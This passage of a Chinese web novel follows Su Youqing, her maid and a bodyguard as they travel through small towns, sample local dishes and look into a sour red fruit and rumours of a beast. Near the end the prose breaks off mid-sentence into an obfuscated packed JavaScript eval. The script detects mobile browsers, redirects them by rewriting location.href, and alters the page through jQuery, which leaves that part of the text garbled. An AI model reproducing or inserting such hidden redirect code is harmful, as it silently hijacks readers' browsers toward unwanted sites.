包菜本连连应声，觉得主子真是思维缜密。直到耳中落入最后一句话，包菜迷茫了。 不是，怎么突然跳到这里的啊？ 再往前，行道树更稀疏了些，不过及膝的草更盛，上面还开着些白色紫色的不知名小花。苏有青喊停包菜，说自己爱看花，便特意下了马，在这片地里多绕了几圈。 又走过一段路，看太阳似是已过正午。走了太久，温度也渐高，苏有青与包菜这次是真觉出疲乏了。刚巧路边有个草棚，二人便顺势在这里坐下歇歇脚。 放下包袱后，包菜赶忙给苏有青递了水袋，随即又递过一块干饼：“主子快多喝点水，早就饿了吧。” 苏有青接过饼，掰开后来了一句：“你要吃点什么吗？” 刚咬下一口饼、还没来得及嚼的包菜愣住了。三两口咽下嘴里的干粮，包菜呆呆地问：“啊？我吗？” 苏有青轻描淡写道：“没问你，我是问你背后的那位。” 包菜连忙转头，想看看来者何人，却没在身后找到一个能回话的影子。 她又转回了苏有青的方向：“哪里有人啊，小姐莫不是有些发晕了。” 苏有青没答她，只是挑拣后从包袱里拿起一个油纸包，又径直走到草棚后的一棵樟树下。 她仰头问道：“要吃一点东西吗？我们下午约莫还要走一个多时辰。还是说你自己也带了？” 包菜一脸迷茫地跟过来时，就听到这么一句莫名其妙的话。 树上的快刀却差点栽下去以脸抢地。 身为京城里靠硬实力都能排上号的前杀手，快刀谦虚地认为，她转行到暗卫后确不比从前强，却 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不过她倒不是什么轻信生人的愣头鹅，只是早看过全书，知晓这里没什么坏了本心的人，这才自信地过来逮人。 见苏有青话已至此，快刀总算开了口：“我是，二皇子的人。” 回忆起二皇子，苏有青懂了，那便是苏诣的请求了。 她似是明知故问：“所以，是你主子让你来保护我的？” 快刀已放弃抵抗：“对。” 苏有青点点头：“行了，下来坐会儿吧，蹲着多累。” 待快刀落了地，苏有青又有话想问了：“所以，你是水平一般，所以被赶出来跟着我的？不然怎么这么快就被我发现了。” 虽才几句话的功夫，但快刀已有些惴惴苏有青的“所以”。现下明明脚刚踏上地面，她又想蹲回树上了。 眼前的姑娘实在伶俐，头脑灵光嘴又利落，快刀觉得这活没法干了。 她想起前两日刚接过令便要来寻苏有青，临了又被主子吩咐，说千万别被发现了。 不过，她并未说出派活的那位主子，便也算是没被发现吧？ 思及此，快刀终于舒服了，好歹还没全盘暴露。 更何况，她本就是被二皇子派去跟着三皇子的；虽这次是三皇子的命令，但说主子是二皇子也并非谎话。快刀越想越有理。 好在苏有青心知快刀并无恶意，便也平和。她将那纸包塞到快刀手上，道：“我们原准备趁第一天脚力足，走远些再找客栈休息。你先吃点东西垫垫吧。对了，你叫什么？后面便一起走吧。” 老实回答后，快刀还是忍不住想问：“你是什么时候发现我的？” 苏有青笑得神秘却避开不答：“你是想拜师吗？” 方才路过草地时，她特意让包菜牵着马在边上候着，还吩咐需多等一会儿，又记着路走到深处蹲下。再出来时，她发现草的痕迹有变化。 歇够脚，多了一人的队伍继续行路。未及黄昏时，苏有青瞧前面正要路过一座城，便换了主意：“后面还不知有没有驿站呢，今日便在这里歇着吧。” 15. 腐皮包（一） “交耳城。”走近些后，包菜读出了牌匾上的字。 快刀有点耳熟：“我来过这里，城中营建得还不错。” 进了城，三人先只沿着主路往前，瞧个大概。 苏有青看这交耳城的店铺摆设与京城相似，只是来往的人少了很多。再往里走一段，她们又碰到好几个关了门的迎街铺面。 包菜小声念叨道：“怎么这边都没人。” 苏有青道：“尚不是饭点，都在干活吧。不过方才瞧见的几个店家也挺清闲，想来城中居民当是过得舒畅。” 见包菜似是蔫了神，苏有青道：“我们先找个客栈歇下吧。” 包菜连忙四下里张望：“那我去找个人问问方位。” “不用了。”苏有青心念也未必能找到，又道，“就随便走走，看会不会碰巧遇到什么客店。” 说是闲走，苏有青心中却是有了条路。 进城没走几步时，她便闻到了股淡淡的酒糟味，是粮食香连着太阳晒过的气息。方才说话时，苏有青觉出气味更浓烈，想来是就在这附近了。 “主街上没看到什么，便从这里拐进去吧。”苏有青停在了约莫三人宽的巷道口，同二人提议道。 小道不长，那头蜷进了另一排店铺。 交耳城的房屋铺子同京城没差，路倒是有些新奇。除了连通城门的主街，这里旁的路似乎都是宽窄不一、又弯弯绕绕的，不像个城池。 这条街上开门的铺面要比方才的多些，仿佛是以卖杂货为主。有店家在街边摆出桌子，上面搁着各种趁手家伙什，还有麻布麻绳之类的小物件。 路过的屋里则摆得随意些，不知都卖哪些东西。回正视线时，苏有青还瞟到墙边靠着好几块大木板。她本以为是家木材店，瞧见门槛当中凹下的缝隙，才猜测是店家营业后随手一放的木门。 再抬头，这家店铺楼上的格栅窗只掩着，隔壁那家却窗户大开，竹帘被风扯得直响。 这边似乎都是一楼买卖、二楼住家，苏有青暗想。 一路往里，包菜也闻出了苏有青的向导：“好香的酒糟味啊。” 果然，没再走多远，三人便看到了一个轻轻扬起的酒旗。 走近那旌旗，老板正在店里哼着曲儿，拿着钉耙将还冒气的酒糟耙松。 见有人来，店家站直了身问道：“客官来两壶酒吗？自家酿的米酒，甜又不醉人。若想喝花雕或是旁的尽管提，我这儿都有。” 苏有青道：“现在先不打。想问问老板这附近可有客栈？” 店家热情答道：“从我家往前数两间便是。她们家物美价廉又干净，做菜可好吃呢。” 快刀虽压低了声，但还是下意识脱口而出道：“不会是两家合伙诓人的吧？” 那店家被质疑却不恼：“这皇城根儿的地界，谁敢轻易诓骗？” 苏有青作揖道：“她是武将，说话一向不大中听，我且替她赔罪了。” 店家依然笑呵呵的：“没事，心直口快的人更好相处呢。” 两步开外的客栈里，老板闲来无事，正拿着个掸子到处扫。 “张老板！来客咯——” 苏有青一行人方在店门口停了脚，方才的酒家老板便喊了话。 张老板闻声看向门口，忙迎了上来：“几位打尖还是住店？马可以牵到后院马厩。” 苏有青示意包菜把缰绳递给老板，道：“我们住店，再吃个便饭。” 进屋随意挑了张桌子坐下，苏有青问道：“你们家做什么菜好吃？” 张老板却是反问：“你们平日里爱吃什么口味呢？我们家厨司过去走过八方，什么菜系都能做出一二。” 苏有青道：“我们没什么格外偏好的口味，便想尝尝你们当地的特色。” 张老板明白了：“交耳城的特色菜自是擅长做的，只是我们平时爱吃清淡些，不知你们能否吃得惯？” 闻言，苏有青扬了扬眉。这老板似乎很是信任自家厨司。 又问过包菜与快刀，她干脆道：“那便来几盘交耳的特色吧。我也不点菜了，你按我们三人的分量排菜便好。” 张老板欣然接受：“三位有什么忌口吗？” - “菜来咯——”小二很快便端上了头两道菜。 盘子在桌上搁稳当，一碟是浅黄色的长条，上面缀着绿白葱花；另一盘里是堆得整齐的白切肉，还配了一小碗酱汁。 “还挺香。”苏有青道。 她刚拿起筷子，闲不住的张老板从柜台后绕出来介绍： “我们交耳城盛产毛豆，故而也爱吃豆子制成的吃食。旁的吃食哪座城里都有，瞧不出特色，我们便使些花样，将豆浆上的腐皮揭下，又把自家做的白豆腐揉碎，和时令野菜拌匀，一齐包到这腐皮里。最后浇上炖足两个时辰的高汤，再上锅蒸熟。客官试试。” 苏有青咬下一口，细细咀嚼后道：“确实鲜味十足。里面放的是荠菜？” 张老板没听过这个名字，和和气气地说：“客官好尖的舌头。不过许是叫法不同，我们这里唤它地心菜。眼见便要盛夏，这会子的野菜也少了不少。客官若是一两个月前来，这腐皮包里加的野菜也鲜多了呢。” 苏有青的筷子伸向了另一盘，又问道：“那这白切肉又是什么讲究？” 张老板微微笑道：“这一盘吃的是习惯。过去交耳的日子刚刚好过时，百姓们初吃得起肉、却又不太会做，杀猪匠把肉送上门去也只能搁着。那时候又刚巧赶上抢收，有的人家干脆不细究、直接煮熟后片成片吃，竟也不错。于是这种吃法在周遭邻里传开，后来整个交耳城便也这样吃了。” 苏有青点点头，没想到一盘常见菜背后还有属于它的故事。 再吃过几口，小二又从后厨端来一个嗞啦作响的陶锅：“诸位客官避一避，小心点烫。” 饥肠辘辘的三人对锅中的声响有些好奇，而张老板展示自家厨司的心思更为急切。她迫不及待地揭开锅盖，待水汽窜出陶锅后才递与小二。 与水汽一同挤出来的，是锅中的香气。苏有青好一会儿才看清锅中。 这份不再是淡到透白的菜色，里头的褐色酱汁正贴着陶锅内壁吐 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苏有青却不直接回答，反倒是起了逗老板的心思：“你家的秘方，是否是用虾头炒香过底料？” 老板高兴道：“自然不止这么容易。不过姑娘猜对了，确是先爆过虾头，再用白菜邦将底汤吊得喷鲜。姑娘真是不容小觑啊。” 张老板爱做吃食，便也喜欢懂吃食之人。她亲自端来了一个大汤碗：“这碗鱼糊羹算是我请客的。” 放下汤碗后，她摊平右手，继续介绍道：“这鱼糊羹便是最后一道菜了，因着前几道菜都清淡，我便配一碗口味重些的羹。” 苏有青挑挑眉，不知眼前这碗灰白色的汤羹能口重到哪里去。 她拿起调羹搅拌，粘稠的汤汁挂在勺上，中间裹住不少细碎的鱼肉与豆腐丝，黑色的应当是木耳丝。喝下一勺是满满的胡椒味。 苏有青笑说道：“难怪是这几道搭成一桌，鱼糊羹的胡椒香很是开胃。” “吃得惯便好。”张老板已明白不必同这姑娘多嘴介绍，眼前人怕是比她更擅长品味，“菜已上齐，不知各位要来点什么主食？米饭馍馍面条，我们店里都有。” 苏有青从点菜时便生了一道好奇，只是当时不知老板是否在自吹自擂。现下尝过菜，味道确实都不错，她方开口问道：“你们店里备的菜仿佛很周全？” 张老板道：“这里平时是南来北往的人多，人们的口味也多，我们便多备上几种，念着大家出门在外时都能吃上口自己喜欢的。” - 吃饱喝足过后，见天色渐晚，三人便不欲闲逛，先休息够再说。 招呼来老板结过这顿饭，张老板问道：“三位觉得我们交耳城的口味如何？” “好吃的，我还挺喜欢。”苏有青道。 “不觉得没味道便好。”张老板道，“我们这里一向这般饮食，吃惯后只觉得鲜。可惜以前以此招待过路人，总要被说不舍得放油，还说尽是些填不饱肚子的鱼虾。” 16. 腐皮包（二） 苏有青不大喜欢这种说法。她道：“人的口味本就不一，但世间味也是多样。这般误解旁人喜欢的口味，未免有些偏颇。” 张老板笑语盈盈的：“是呀。再者说，河鲜虽没什么油水，却都是活蹦乱跳的新鲜货，有些还是稻田鱼，旁的地方想吃也吃不上呢。” 难得遇到这般讲理的客人，张老板不免想多聊几句：“我们以前做菜也爱多放盐与茱萸，只是后来城里少有劳作的人了。整日悠闲没事干，再常吃重油重口的东西反而易发腻积食。刚好我们这里环境不错，什么野菜与鱼虾都生了出来，长得也鲜，便变了口味。” 苏有青有些想笑。野货主动长得鲜吗，那很善良了。 她想起方进店时那几句对答，道：“难怪你方才会先细问我们的口味。不过那种客人多吗？” 张老板答：“以前不在少数，后来我们依着客人的口味做菜，便没什么话了。” “不过客人会这样也正常。”当掌柜的人，张老板不欲说客人的不是，“毕竟往来的多是京城显贵，都是有大本领的人，平日里有些急躁也是理所应当。” 张老板说，交耳城过去只是一个小小的村子，左右也就十来户的人家。后来，交耳村得了离京近的便宜，才修出一座城，为的是方便来往京城的人，能在进京前好好休整一番。 “非富即贵的人，大多不乐意听到旁人辩驳的话。何况我们只是做点小本生意的人家，也不想多生事端。” 苏有青心念，这张老板活得倒是通透。明明不是那般道理，却也能劝慰过自己，着实是个好脾气的。 她便也应和道：“难怪了，方才我进城时便觉得城中人不多。” 张老板却说：“其实已经添了不少了。一开始，常住这里的便是那些老邻居，客人也只有朝贺的时候会多些。人少自有少的好处，住得舒坦还能和邻里互相照应，有时过路人正巧喜欢这种住所，从此便在咱们交耳定居了。” 说到后面，张老板满脸的骄傲：“我们这里的环境是一等一的好，不着急的话，你们也可以多住几天。” 这头正说着话，门口又有一行四人走了进来。 其中一人声音敞亮，与同伴说道：“这家店中倒是坐了人，想来不错，便在这家吃吧。” 扫视过一圈厅堂，那人又冲着苏有青问道：“嘿，这家菜怎么样？” “挺好的。”苏有青言简意赅。 她又同张老板道：“有客人来，你先去招呼吧。我们跟着小二上楼就好。” 楼上的房间尚无客人，小二便让她们三人随意挑，苏有青选了离楼梯口最远的那间。 “有需要的东西也可以随时找我们。”下楼前，小二不忘叮嘱道。 关上门，苏有青环视眼前的几厘地。屋子不大，装扮也朴素，自是比不上苏府的那一方小院。不过床铺茶具之物倒是一应俱全，最重要的是，这小屋干净整洁。 放下包袱，苏有青先推开了窗。这间屋子的窗开向后院，支起便能听到楼下厨司抡足了劲的动静，是爆炒时勺与锅相撞的声音。 好在她并不觉得这声响扰人，甚至听到时有种正在生活的安心感。 包袱早在路上就被翻乱。收拾齐整后，苏有青听到一阵敲门声，开门一看是张老板。 张老板端着一壶酒：“这是隔壁酒坊酿的米酒，甜滋滋的，吃了也不醉人。那老板手艺不错呢，姑娘尝尝。” “太谢谢了。”苏有青让开一步。 “不客气，我与姑娘聊得投缘。”张老板将托盘放至圆桌正中，“那便不打扰姑娘休息了。” 张老板带上房门便要下楼。走下几道阶梯，她又停了脚，仰头看向紧闭的拿扇门。 她家小店并不临着主街，在交耳城中算是偏僻位置。说是客栈，她家的经营也赚不了几个钱，平日里张罗的都是自家人的吃喝住。也只朝贡之时，旁人的店面爆满，她们家才得以在锅边喝点肉汤。 未曾想，现在明明是进京的淡季，她反而好运气地碰到姑娘那般懂吃食的，还因着她多引来了一桌客。请壶酒吃是应该的。 房门后，苏有青坐到桌边，斟了一小杯米酒。确实很甜。 她心念，本是寻不到开了门的客栈，甚至在大街上瞧不见几个人，这才顺着酒糟味寻到了这里。 苏有青想，饮食百味果然会给她带来好运，遇到的老板热情又真诚。一如曾经，她靠做饭得到过那么多人的追捧。 张老板所言非虚，交耳城确实环境极好。苏有青在这里多歇了一晚，花了一整个白日慢悠悠地转遍了小城，隔日才离开。 她还算喜欢这里，安闲，是个宜居的地方。 苏有青一行人并不赶时间，便在后面的几日里走走停停，耗了半个多月才抵津弓镇。 一路往南的路上，她本没觉察出太大的变化。虽有抱怨过温度愈发地高，但苏有青也没分清这是因为她们在往南走、还是因为日子在往盛夏走。 对苏有青来说，沿途的变化似是从食事上看更明显。隔三岔五地就近挑个城镇吃喝，她就这样从软糯糕点吃到浓郁羊汤，又吃到极香的火腿牛肝菌炒饭。 直到有一天，苏有青突然发现，黄土路上的树荫越来越多了。 穿过一片低矮的林子，苏有青对照地图看了眼：“过了这林子便是......” “便是津弓镇了。”快刀抢答道。 方出了林子，苏有青便看到一棵粗壮的巨木。再待走近些，原来树下还坐了不少正说笑着的人。 快刀道：“津弓镇虽富裕，到底是个镇子，也就没修起有模有样的城墙。那棵需几人环抱的树说是已有百年，便算是镇口了。” 包菜问道：“你挺了解？” 快刀说得有些犹豫：“从前......从前听主子说过。” 苏有青接过了话：“那便对了。我也听说过这津弓镇盛产木材，尽是些足以进贡的好东西。你主子了解这里才正常。” 包菜恍然大悟：“那我们方才遇到的林子，种的便是那种能进贡的树？” 苏有青也是猜测：“或许吧。” 她率先下了马，牵着绳走至树下，同最近的老人作了个揖：“请问老伯，附近哪里有客栈吗？” 老伯正缓缓地摇着扇子，打量过后面的二人，又眯眼看向了为首的苏有青：“过来 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市集的地方本是一排店铺的背墙，如今沿墙摆开了一排铺子，好生热闹。 苏有青跟着人流一路看过去，确有不少花样玩意儿。什么草条编的蚂蚱，又或是颜色各异、大小不一的簪花。 更多的是卖木制品的。方走进来两步路，苏有青便瞧见好几个摊位，还有人蹲个小马扎便在摊位边刻上块新木头。 “这个好精巧。”包菜拿起了一串木头珠子，有些喜欢这种温润的触感。 摊贩见了动作，赶忙招呼道：“姑娘喜欢吗？一两银子即可。” 闻言，包菜将木珠串放回了原位：“这也太贵了。” 摊贩却道：“这都是我们津弓镇上好的檀木，若不是打家具切出了小块木料，谁舍得将这檀木车成珠子？你看这大小与质地，可不是边角料能做成的。” 包菜听得一脸纠结，苏有青却直接放下一两银子，将那木串塞到了包菜手中。 “走吧，再去看看别的。”她道，“这里的木头确实闻名，贵些也正常。” 这一路的摊子走通头，再转过弯，便都是卖些吃食的小贩了。 各种浓烈的气味混杂在一起，反倒叫人嗅不出香。苏有青深吸一口气，竟是闻到股奇怪的味道。 “这是什么？”包菜问。 苏有青循声转头，那异味也变得更明显了。 “这是我们这里特色的臭薯。别觉着乍一闻是一股馊味儿，吃着可香，嚼起来比原本的树薯韧多了。要试试吗？”摊贩道。 小摊上放着一个烤炉，上面摆了几个“臭薯”。说话间，那人手上还挥着扇子，好教更多的气味往市集中心跑。 包菜瞪大了眼：“直接吃吗？” 摊贩一本正经道：“对呀。” 她拉着苏有青便要换块地站着，快刀更是不知道蹿去哪棵树上了。 包菜满肚子纳闷：“这种气味的东西竟然能吃？” 苏有青笑道：“急什么，又没人往你嘴里塞。” 二人走出几步路外，还能听到那摊贩在身后哈哈大笑。 17. 树薯汤 再往前的摊子也大差不差。虽说卖的吃食有菜有肉，吃法也各不一，却都是香气十足的东西。 日头照在过路人的黑发上，也照得那些气味在过路人的鼻腔里横冲直撞。一路走过来，苏有青反倒胃口尽失了。 “这个天，真是什么都吃不下。”苏有青边看边嘟囔道。 包菜也附和：“这边还不如方才卖制品的街有看头。” 直到她们眼前看到一个全然不同的小摊。 那摊主并不吆喝揽客，也没摆出什么招牌，只守着面前的几口陶罐，再偶尔和隔壁的摊主闲聊两句。 然而生意却不差。这摊位边上站着好几人，正端个小碗吃着。 闻不出什么味，苏有青便开口问道：“这卖的是什么？” 摊主低着头，不知在忙些什么，陶罐后的声音闷闷的：“树薯汤。” “这个我知道。”快刀不知从哪里窜了出来，“说是津弓镇的树长得好，树薯也与旁的地方不同。” 摊主这才抬了头：“是。十文钱一碗，要几碗？” “三碗。”苏有青递了钱。 端起其中一碗，包菜道：“原来这便是薯汤。我之前听荔枝提过，她老家也有薯汤，不过有些苦，只是能果腹罢了。” 老板笑了一声：“旁的地方的什么薯可不比我们津弓的树薯。” 接过包菜递来的碗，苏有青有些出乎意料，原来姬朝人也吃木薯。 咬开一口后，她却又心念，还是不一样的。 这树薯的口感并不像后来人爱吃的木薯，而像是另一种白番薯，噎人还有很多纤维。 正如这“树薯”，外层虽软糯些，内里却是发硬的白色，还夹着不少茎。苏有青猜，这或许是木薯的哪个亲戚。 新来的食客也是这种看法。 苏有青三人没多作声，一旁方停留的过路人却直言道：“这也算特色？外面湿软里头生硬，似是水泡薯。” 老板还是哼笑：“哪来的外乡人，吃不来这好东西。炖足了一个时辰的树薯，却被你说作是水泡。过去都没饭吃时，能吃上口甜津津的树薯是多少人求都求不来的。” 一个时辰吗，苏有青沉默垂眼，看向碗中。 现在她怀疑，这“树薯”并非是木薯的亲薯。不说定是同一物，至少也是个前身。 起初的二位食客也小声议论道：“冲着津弓镇的名头来的，结果这里除了木头还是木头。就连这树薯，吃着也像是木头。” 草草喝下碗中寡淡的汤水当作解渴，苏有青放了碗便欲继续逛。 快刀凑到她身边，小声道：“津弓镇打着与今上有关的旗号，又对外说一月三次的市集比京城还热闹，就指着外乡人挣钱呢。” 苏有青方才找客栈时便有种莫名熟悉的感觉。快刀如此一说，她便明白了。 原来古今旅游景区都一样。 但苏有青有些疑惑：“可这里能有什么旗号。今上喜欢这镇上的木头，没了？” 快刀眨眨眼：“好像是吧。” 苏有青又想感慨了，原来古今游客也都一样。 不过话虽如此，她也一向秉持四字真言，“来都来了”。 来都来了，她又不急于去旁的地方。念着还会多住上几天，这一日，三人便踩着夕阳回客栈歇着了。 一次市集足有两日。次日，苏有青便避开人流，往静谧些的地方走。 “这边比昨日的街市舒服多了。”包菜边张望边说道。 苏有青道：“是啊。昨日那道本就不宽，又左右摆开了小摊。虽说人多热闹，可也挤得慌。” 快刀撇撇嘴：“何止是挤。昨日回客栈时，我瞧见不少等着吃饭的人。可没人的位置上都还留着用过的碗碟，小二根本来不及收拾。” 沿着镇里的平屋往外绕，三人瞧见了一片菜地，远远便看到绿色中四散缀着几点红的紫的。 菜地里还伸出一道水沟，隔开了菜地与平屋，沿着小径的方向流远，不知去向哪边。 “就跟着这水走吧。”苏有青道。 “好啊。”包菜一口应下，又随即蹲下了身，“这是什么？” 苏有青低头看去，不知是什么花，就在沟渠边冒了出来。 包菜伸着鼻子凑到了跟前：“还挺香。” “那几个人是做什么的？”一阵嚷嚷冲了过来。 苏有青循声回头，有人正站在哪个屋子的门口，眼神向着这里。 苏有青道：“我们吗？只是路过。” 包菜也慌忙起了身。 那人皱着眉走近：“不会是偷菜的吧？” “没有没有。”包菜道。 苏有青也皱了眉：“我们离菜地还有两步路，这里隔了道水。” 来人又近了几步，确定过她们的位置才离开。 苏有青往前迈了两步，同身后两人道：“还是离这里远些吧。” 快刀紧跟着苏有青，包菜却站定没动，回头看过沟渠又望向苏有青：“方才，方才我站得匆忙，昨日的木珠串子掉水里了。” “水深吗？”苏有青边问边探头。 “不知道，好在珠子漂在水面上，没沉下去。”包菜答道。 “那便好。”苏有青寻了个树枝，将那珠子勾了起来。 接过木珠串，包菜胡乱用衣摆擦净了水，也不敢再戴在手上，珍重地放进了荷包里。 她拍了拍荷包：“这下可以走了。” “快些走吧。”快刀低着头，佯装也在水里找什么东西，“方才那人还在朝这边看。” 津弓镇要比交耳城大些，苏有青走走停停地闲逛了一日，也只是在镇子的一方打转。 本就是奔着津弓镇来，路上又耗费了那么久，苏有青虽说对津弓不是多么满意，却也还是打算多待几天。好在她不是个挑剔的人。 但她也不想像那日一样被误解，便避着些人家走。有一日，她随便找了片林子，在树荫下吹着风，同包菜与快刀聊闲话。又有一日，她只待在客栈里吃吃喝喝，再同掌柜的夸她们家的菜色。 依着苏有青的舌头，客栈厨司的手艺还算不错，至少比第一日的街市强，也不做那口味奇特的吃食。 可能与沙土有关，津弓镇的地不仅适宜种树，还盛产各种根茎类的吃食。 这几日，苏有青吃 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苏有青好笑：“算了吧，别又被说偷菜。” 快刀不解：“那又如何，掌柜的不都说了是它们自己长的吗？” “多一事不如少一事罢了，何况我们到底不是这镇子的人。”苏有青直了身。 听了这话，包菜认同道：“我方才连落到地上的果子都没敢捡，怕是又要被谁说呢。” “什么果子？”苏有青随口一问。 包菜回忆道：“不知道，以前在京城没见过。应当是种浆果吧，我瞧它在地上都滚出了裂痕，里头的汁水流得像伤口，便没好指给小姐看。” 苏有青脑中似有什么字眼飘过：“红色的圆果子？” “对。原来小姐看到了呀。”包菜道。 苏有青还真记起来了。书里提过，待到苏诣辅佐二皇子之后，津弓镇的使者带过一种果子入京。一路车马，那果子竟仍然新鲜，还特别甜，是种红色的浆果。 吩咐包菜指路，苏有青在一处石头缝里发现了那红果子的茎。那根茎蜷缩在石块里，上面却还挂着几个小果，模样像是后世人常吃的小番茄。 “那边还有。”快刀道。 苏有青朝她说的方向走去，竟见这红果子越来越多。 见那头是更远的方向，隐隐还能瞧出弥散的雾气，苏有青当机立断道：“今日已走过这么多路，还是明日再来看吧。” 趁着天边尚余着光，苏有青回了客栈。 掌柜的热情招呼道：“回来啦，今日去哪里玩了？” 苏有青道：“去了南边长黄薯的地，还瞧见了一种红果子。” 掌柜的便知晓了是哪里：“那你们今日跑得不短呢。” 苏有青状似好奇地问道：“黄薯我认识，那红果子是何物？能吃吗？” 掌柜的一本正经道：“要论吃，那果子是确切地没毒，你们可以尝尝看。” 似是怕几人真的莽撞地往嘴里塞，她又笑着多补了一句：“说笑的，我们都不吃那果子，酸得掉牙。” 18. 红酸果（一） “酸的？”苏有青脱口而出。 她本是揣着答案问问题，却得到了一个意料之外的回答。 见了她的反应，掌柜的笑说道：“若是甜的，怎会无人摘了吃？” 闻言，苏有青反应了过来，也是。道旁李苦，或许那甜果子是别的东西。 她便又问掌柜的：“那酸果子叫什么名？” 掌柜的道：“这我不知。那果子是从南边长过来的，我们镇上没人认识，又用不上它，便也没起什么诨名。” 快刀心直口快道：“既是不能吃的东西，姑娘明日还要去那边看吗？” 掌柜的比苏有青先一步接过了话：“你们要去那边摘果子？” 她语气很是诧异，隐约间似乎还带着些阻拦的意味。 苏有青便问：“不能摘吗？不是说是自己长过来的野果子。” 掌柜的沉吟道：“摘倒是随意，只是怕你们贪多，边摘边跟着果子走远了。我方才说它们是打南边来的，可津弓镇的南边是毫无人烟的荒地。我们平日里从不往那边走，到那长黄薯的沙地便是头了。” 苏有青没带犹豫的，张口便道：“那我们不去了。” 掌柜的点了点头：“不去更好。方才怕吓到你们，我便没好说。镇里人都说，过了南边的沙地还有野兽呢，一到晚上便出来捕猎，怪吓人的。有人清早过去挖黄薯时也见过。不过你放心，我们镇子里是绝对安全的。” 苏有青已在津弓镇待上好几日，却还是头一遭听到这么个说法：“啊？是什么兽？” 掌柜的道：“不知道哪门子山林野兽，说是通体黑毛，有半人高。不过走得很慢，脚印又拖得老长，估计是个腿短的。” 话至一半，掌柜的给自己逗乐了，笑停后才接着说道：“我也是听知镇家的小哥说的，那知镇还瞒着不告诉大家呢，怕邻里会吓到。” 这形容太奇怪，苏有青想不出哪种能对应上的动物，干巴巴地说：“竟还有这种动物？” 掌柜的道：“我也没见过。不过镇里的老人说，那野兽是吃人的性子，便集结了几个能打的人一起，将那兽好一顿吓唬。那些人打包票，说只需一次，便叫它们再也不敢往我们这边来。再后来，确实没人见过野兽了。” 苏有青明白了，便是现在已没了野兽的意思，也就是能去的意思。 于是她突兀地转了话头，不再提南边的沙地：“那津弓镇有什么甜的浆果吗？” 掌柜的叹了口短气：“嗨，我们这种整日吃各种薯的地方，浆果可是稀罕物，更别说要甜的。我听闻有的地方，种的瓜果是又多又好吃。” “津弓镇也有津弓镇的特色嘛。”苏有青道，“我们还有事，先回房了，你忙。” “好嘞。”掌柜的热情道。 上了楼，见周遭已没了旁人，包菜疑惑道：“小姐明日不去那边了吗？” 苏有青好笑：“当然要去。” 包菜更疑惑了：“那方才为何要骗那掌柜？她看起来也是好意。” “你也说了她是个人好的，若是直言，惹得她多生担忧就不好了。”苏有青一脸狡黠，“再者说，我方才只说‘不去了’，是说不去那果子的源头，可没说不再去沙地。” 虽现下是狡辩，但方才说出这话时，苏有青倒是真无所谓那红果子。既知不是书中的甜果，她大可以换个地方找，顺带继续在津弓镇周遭走走看看。 更何况，她也并非一定要找到那果子。相比好奇果子的味道，她更像是在寻觅一个书里看来的打卡点，若是好几日都没瞧见，那作罢便是了。 可紧接着，掌柜的提到了野兽，这反而让苏有青生出了奇怪之感。 抛开模样不谈，既是吃人的性子，怎会被人唬住一次、便往后几年里再也不来？莫非南边那平坦沙地，还能充作阻挡的砖墙不成？ 进了房，苏有青蹙着眉，踱步到桌边坐下。 她忽地忆起前几日里，快刀也称过一次奇怪。 快刀说，分明是上供檀木的地方，却见不到几棵高大些的檀树，尽是些低矮的林子，好生奇怪。 苏有青却想着，长到足以进贡的成树都被砍倒、运往京中，余下些初长成的小树，倒也正常。 当时，见快刀还是满脸不解，苏有青便问：“怎么，宫中现在缺檀木吗？” “那倒没有。”快刀确信地答道，“只是......” “只是”了半天，她也没说出什么，苏有青只好作罢。 快刀本觉得，正是因为不缺，所以才奇怪。可是话要出口前，她觉得这无端的揣度怕是要冒犯了津弓，而自己的笨嘴又一向说不清楚缘由，干脆算了。 今日方到镇子南边时，苏有青还不觉有什么。现下思绪如此一串，她又想起临回客栈前，她朝果子来处的那一眼。 有薄雾，有杂草，没看见一棵树。 这本不是什么要紧事，只是接连的出乎预料都堆积在镇子南边的沙土地里，苏有青愈发好奇了。 不过现下的空泛多思也没用。既定了明日还要过去看，不如早些休息，养精蓄锐。她便又起身收拾了。 第二天，苏有青三人按往常时候下楼，去隔壁的早点铺子里喝粥。 掌柜的也在那儿等蒸饼。见到三人，她招呼道：“今天准备去哪儿？” 苏有青答道：“准备去林子里乘凉。” 掌柜的道：“今日没什么太阳，确实适合找个地方吹风。不过要早点回来呀，我看这天，午后怕是要落雨。” “蒸饼好咯，仨肉仨素的。”早点铺的人递了个盘子给掌柜。 掌柜的接过盘子便要回客栈，迈步前又同苏有青道：“出门前记得带个斗笠啊。” 苏有青道：“记住了，多谢。” 吃饱喝足过后，三人便往南边去了。 走在道上闲聊时，苏有青看到路边人家的竹篱笆，说起这种平房小院看着就舒心，若是能再养几只又能下蛋又能吃肉的鸡鸭便更好了。 包菜笑道：“那小姐回去便和主君说，要在咱们院子里圈一块地分给鸡鸭。” 扯过这些小动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320291|198329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物，包菜又想到大些的兽。她话锋一转，问道：“小姐，若那边真有野兽可怎么办？” 苏有青打趣道：“怕什么，温顺些的小兽又不吃人，不必害怕。倘若碰上凶猛些的就更好办了，直接等着被吃就好，同样不必担惊受怕。” 包菜有点麻了，被自家小姐的豁达震麻的。 快刀也是不以为意：“不是说那野兽走得慢？刚好我的刀很快。” 快刀那语气满是正经，不似掺了半句玩笑。苏有青被逗得走不动道，站定后笑够了半天才继续前行。 今日这一趟的目的地明确，她们便没在路上多耽搁时间，一路奔着南边去了。 昨日的石头缝并无变化，里头的红果仍在挣扎着活。 沿着小果长过来的方向，苏有青三人走到了沙地的另一边。 这边的果子要稍多些，杂草也抻得更高。 再往前看，星点的红色渐渐蔓延开，不似沙地的这一头，长得稀稀拉拉。 苏有青就近摘下了一颗果子，凑到鼻子边闻了闻气味，却闻不出什么味。 昨夜入睡前，苏有青冒出过新的猜测。 既这果子长得浑似后世酸甜的小番茄，后世又不是没有纯甜味的品种。若这果子确实是小番茄，想要它在野外生出极甜的味道，虽需些巧合，但至少不是全无可能。 而若说是极酸的果子......同样有，能做出红酸汤的果子便是如此。 